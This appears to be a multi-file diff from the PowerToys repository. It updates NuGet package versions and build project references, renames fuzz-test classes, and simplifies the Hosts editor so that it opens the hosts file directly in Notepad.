<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets'))" />
<Error Condition="!Exists('$(RepoRoot)packages\robmikh.common.0.0.23-beta\build\native\robmikh.common.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\robmikh.common.0.0.23-beta\build\native\robmikh.common.targets'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
</Target>
</Project>

View File

@@ -1,6 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Microsoft.Windows.CppWinRT" version="2.0.250303.1" targetFramework="native" />
<package id="Microsoft.Windows.ImplementationLibrary" version="1.0.260126.7" targetFramework="native" />
<package id="Microsoft.Windows.ImplementationLibrary" version="1.0.231216.1" targetFramework="native" />
<package id="robmikh.common" version="0.0.23-beta" targetFramework="native" />
</packages>

View File

@@ -103,7 +103,7 @@
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.211019.2\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.211019.2\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
<Import Project="$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets')" />
<Import Project="$(RepoRoot)packages\robmikh.common.0.0.23-beta\build\native\robmikh.common.targets" Condition="Exists('$(RepoRoot)packages\robmikh.common.0.0.23-beta\build\native\robmikh.common.targets')" />
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
</ImportGroup>
<Import Project="$(RepoRoot)deps\spdlog.props" />
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
@@ -113,6 +113,6 @@
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.props')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.props'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets'))" />
<Error Condition="!Exists('$(RepoRoot)packages\robmikh.common.0.0.23-beta\build\native\robmikh.common.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\robmikh.common.0.0.23-beta\build\native\robmikh.common.targets'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
</Target>
</Project>

View File

@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Microsoft.Windows.CppWinRT" version="2.0.250303.1" targetFramework="native" />
<package id="Microsoft.Windows.ImplementationLibrary" version="1.0.260126.7" targetFramework="native" />
<package id="Microsoft.Windows.ImplementationLibrary" version="1.0.231216.1" targetFramework="native" />
</packages>

View File

@@ -65,6 +65,8 @@
<PackageReference Include="Microsoft.WindowsAppSDK" />
<PackageReference Include="Microsoft.Windows.SDK.BuildTools" />
<PackageReference Include="WinUIEx" />
<!-- HACK: To make sure the version pulled in by Microsoft.Extensions.Hosting is current. -->
<PackageReference Include="System.Text.Json" />
<!-- This line forces the WebView2 version used by Windows App SDK to be the one we expect from Directory.Packages.props . -->
<PackageReference Include="Microsoft.Web.WebView2" />
<!-- HACK: CmdPal uses CommunityToolkit.Common directly. Align the version. -->

View File

@@ -49,6 +49,8 @@
<PackageReference Include="CommunityToolkit.WinUI.Converters" />
<PackageReference Include="CommunityToolkit.WinUI.Controls.Sizers" />
<PackageReference Include="System.IO.Abstractions" />
<!-- HACK: To make sure the version pulled in by Microsoft.Extensions.Hosting is current. -->
<PackageReference Include="System.Text.Json" />
<Manifest Include="$(ApplicationManifest)" />
</ItemGroup>

View File

@@ -144,14 +144,14 @@ MakeAppx.exe pack /d . /p $(OutDir)FileLocksmithContextMenuPackage.msix /nv</Com
<Import Project="$(RepoRoot)deps\spdlog.props" />
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
<Import Project="$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets')" />
</ImportGroup>
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
</PropertyGroup>
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.props')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.props'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets'))" />
</Target>

View File

@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Microsoft.Windows.CppWinRT" version="2.0.250303.1" targetFramework="native" />
<package id="Microsoft.Windows.ImplementationLibrary" version="1.0.260126.7" targetFramework="native" />
<package id="Microsoft.Windows.ImplementationLibrary" version="1.0.231216.1" targetFramework="native" />
</packages>

View File

@@ -61,6 +61,7 @@
<PackageReference Include="Microsoft.WindowsAppSDK" />
<PackageReference Include="Microsoft.Xaml.Behaviors.WinUI.Managed" />
<PackageReference Include="Microsoft.Windows.SDK.BuildTools" />
<PackageReference Include="System.Drawing.Common" />
<PackageReference Include="WinUIEx" />
<!-- This line forces the WebView2 version used by Windows App SDK to be the one we expect from Directory.Packages.props . -->
<PackageReference Include="Microsoft.Web.WebView2" />

View File

@@ -5,7 +5,7 @@ https://go.microsoft.com/fwlink/?LinkID=208121.
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<PublishProtocol>FileSystem</PublishProtocol>
<TargetFramework>net10.0-windows10.0.26100.0</TargetFramework>
<TargetFramework>net9.0-windows10.0.26100.0</TargetFramework>
<TargetPlatformMinVersion>10.0.19041.0</TargetPlatformMinVersion>
<SupportedOSPlatformVersion>10.0.19041.0</SupportedOSPlatformVersion>
<PublishDir>$(PowerToysRoot)\$(Platform)\$(Configuration)\WinUI3Apps</PublishDir>

View File

@@ -5,7 +5,7 @@
"fuzzer": {
"$type": "libfuzzerDotNet",
"dll": "HostsEditor.FuzzTests.dll",
"class": "HostsEditor.FuzzTests.FuzzTests",
"class": "Hosts.FuzzTests.FuzzTests",
"method": "FuzzValidIPv4",
"FuzzingTargetBinaries": [
"PowerToys.Hosts.dll"
@@ -46,7 +46,7 @@
"fuzzer": {
"$type": "libfuzzerDotNet",
"dll": "HostsEditor.FuzzTests.dll",
"class": "HostsEditor.FuzzTests.FuzzTests",
"class": "Hosts.FuzzTests.FuzzTests",
"method": "FuzzValidIPv6",
"FuzzingTargetBinaries": [
"PowerToys.Hosts.dll"
@@ -87,7 +87,7 @@
"fuzzer": {
"$type": "libfuzzerDotNet",
"dll": "HostsEditor.FuzzTests.dll",
"class": "HostsEditor.FuzzTests.FuzzTests",
"class": "Hosts.FuzzTests.FuzzTests",
"method": "FuzzValidHosts",
"FuzzingTargetBinaries": [
"PowerToys.Hosts.dll"
@@ -128,7 +128,7 @@
"fuzzer": {
"$type": "libfuzzerDotNet",
"dll": "HostsEditor.FuzzTests.dll",
"class": "HostsEditor.FuzzTests.FuzzTests",
"class": "Hosts.FuzzTests.FuzzTests",
"method": "FuzzWriteAsync",
"FuzzingTargetBinaries": [
"PowerToys.Hosts.dll"

View File

@@ -31,6 +31,9 @@
<ItemGroup>
<PackageReference Include="MSTest" />
<PackageReference Include="System.Net.Http" />
<PackageReference Include="System.Private.Uri" />
<PackageReference Include="System.Text.RegularExpressions" />
<ProjectReference Include="..\..\..\common\UITestAutomation\UITestAutomation.csproj" />
</ItemGroup>
</Project>

View File

@@ -64,6 +64,8 @@
<PackageReference Include="Microsoft.WindowsAppSDK" />
<PackageReference Include="Microsoft.Windows.SDK.BuildTools" />
<PackageReference Include="WinUIEx" />
<!-- HACK: To make sure the version pulled in by Microsoft.Extensions.Hosting is current. -->
<PackageReference Include="System.Text.Json" />
<!-- This line forces the WebView2 version used by Windows App SDK to be the one we expect from Directory.Packages.props . -->
<PackageReference Include="Microsoft.Web.WebView2" />
<!-- HACK: CmdPal uses CommunityToolkit.Common directly. Align the version. -->

View File

@@ -16,7 +16,6 @@ using System.Threading.Tasks;
using HostsUILib.Exceptions;
using HostsUILib.Models;
using HostsUILib.Settings;
using Microsoft.Win32;
namespace HostsUILib.Helpers
{
@@ -223,64 +222,17 @@ namespace HostsUILib.Helpers
public void OpenHostsFile()
{
var notepadFallback = false;
try
{
// Try to open in default editor
var key = Registry.ClassesRoot.OpenSubKey("SystemFileAssociations\\text\\shell\\edit\\command");
if (key != null)
{
var commandPattern = key.GetValue(string.Empty).ToString(); // Default value
var file = null as string;
var args = null as string;
if (commandPattern.StartsWith('\"'))
{
var endQuoteIndex = commandPattern.IndexOf('\"', 1);
if (endQuoteIndex != -1)
{
file = commandPattern[1..endQuoteIndex];
args = commandPattern[(endQuoteIndex + 1)..].Trim();
}
}
else
{
var spaceIndex = commandPattern.IndexOf(' ');
if (spaceIndex != -1)
{
file = commandPattern[..spaceIndex];
args = commandPattern[(spaceIndex + 1)..].Trim();
}
}
if (file != null && args != null)
{
args = args.Replace("%1", HostsFilePath);
Process.Start(new ProcessStartInfo(file, args));
}
else
{
notepadFallback = true;
}
}
var notepadPath = Path.Combine(
Environment.GetFolderPath(Environment.SpecialFolder.Windows),
"System32",
"notepad.exe");
Process.Start(new ProcessStartInfo(notepadPath, HostsFilePath));
}
catch (Exception ex)
{
LoggerInstance.Logger.LogError("Failed to open default editor", ex);
notepadFallback = true;
}
if (notepadFallback)
{
try
{
Process.Start(new ProcessStartInfo("notepad.exe", HostsFilePath));
}
catch (Exception ex)
{
LoggerInstance.Logger.LogError("Failed to open notepad", ex);
}
LoggerInstance.Logger.LogError("Failed to open notepad", ex);
}
}

View File

@@ -118,7 +118,7 @@
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<Import Project="$(RepoRoot)deps\spdlog.props" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
<Import Project="$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets')" />
</ImportGroup>
</Project>

View File

@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Microsoft.Windows.CppWinRT" version="2.0.250303.1" targetFramework="native" />
<package id="Microsoft.Windows.ImplementationLibrary" version="1.0.260126.7" targetFramework="native" />
<package id="Microsoft.Windows.ImplementationLibrary" version="1.0.231216.1" targetFramework="native" />
</packages>

View File

@@ -13,13 +13,11 @@
<PropertyGroup Condition="'$(Configuration)'=='Debug'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)'=='Release'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
@@ -112,12 +110,8 @@
</ProjectReference>
</ItemGroup>
<ItemGroup>
<None Include="COMPLETE_REWRITE_SUMMARY.md" />
<None Include="CRITICAL_BUG_ANALYSIS.md" />
<None Include="CURSOR_WRAP_FIX_ANALYSIS.md" />
<None Include="DEBUG_GUIDE.md" />
<None Include="CursorWrapTests\WrapSimulator\test_new_algorithm.py" />
<None Include="packages.config" />
<None Include="VERTICAL_WRAP_BUG_FIX.md" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
@@ -130,4 +124,4 @@
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.props')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.props'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets'))" />
</Target>
</Project>
</Project>

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